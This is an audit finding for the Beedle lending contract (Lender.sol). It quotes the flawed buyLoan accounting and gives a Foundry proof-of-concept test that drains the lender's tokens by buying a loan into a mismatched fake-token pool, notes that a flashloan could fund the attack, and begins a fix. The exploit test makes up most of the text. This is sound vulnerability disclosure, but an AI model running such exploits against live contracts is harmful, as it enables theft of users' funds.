File: Lender.sol
L484:
uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
if (pools[poolId].poolBalance < totalDebt) revert PoolTooSmall();
_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);
pools[poolId].outstandingLoans += totalDebt;
bytes32 oldPoolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);
_updatePoolBalance(
oldPoolId,
pools[oldPoolId].poolBalance + loan.debt + lenderInterest
);
pools[oldPoolId].outstandingLoans -= loan.debt;
https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L498
function test_exploit() public {
address attacker = address(0x5);
loanToken.mint(address(attacker), 1_000*10**18);
loanToken.mint(address(lender), 1_000*10**18);
assertEq(loanToken.balanceOf(address(lender)), 1_000*10**18);
assertEq(loanToken.balanceOf(address(attacker)), 1_000*10**18);
vm.startPrank(attacker);
TERC20 fakeToken = new TERC20();
fakeToken.mint(address(attacker), 1_000_000*10**18);
fakeToken.approve(address(lender), 1_000_000*10**18);
loanToken.approve(address(lender), 1_000*10**18);
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(fakeToken),
minLoanSize: 1,
poolBalance: 1_000*10**18,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 0,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(attackerPool);
Borrow memory b = Borrow({
poolId: attackerPoolId,
debt: 1_000*10**18,
collateral: 1
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
uint256 loanId = 0;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.startAuction(loanIds);
Pool memory fakePool = Pool({
lender: attacker,
loanToken: address(fakeToken),
collateralToken: address(fakeToken),
minLoanSize: 1,
poolBalance: 1_000*10**18,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 0,
outstandingLoans: 0
});
lender.zapBuyLoan(fakePool, loanId);
lender.removeFromPool(attackerPoolId, 1_000*10**18);
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(loanToken.balanceOf(address(attacker)), 1_995*10**18);
}
Note that attacker needs the same amount of token as the amount being stolen, but the exploit can be done in one transaction so the atack can be founded by a flashloan.
Check that new pool accepts the same tokens as the loan. Add this check at the top of the buyLoan
function: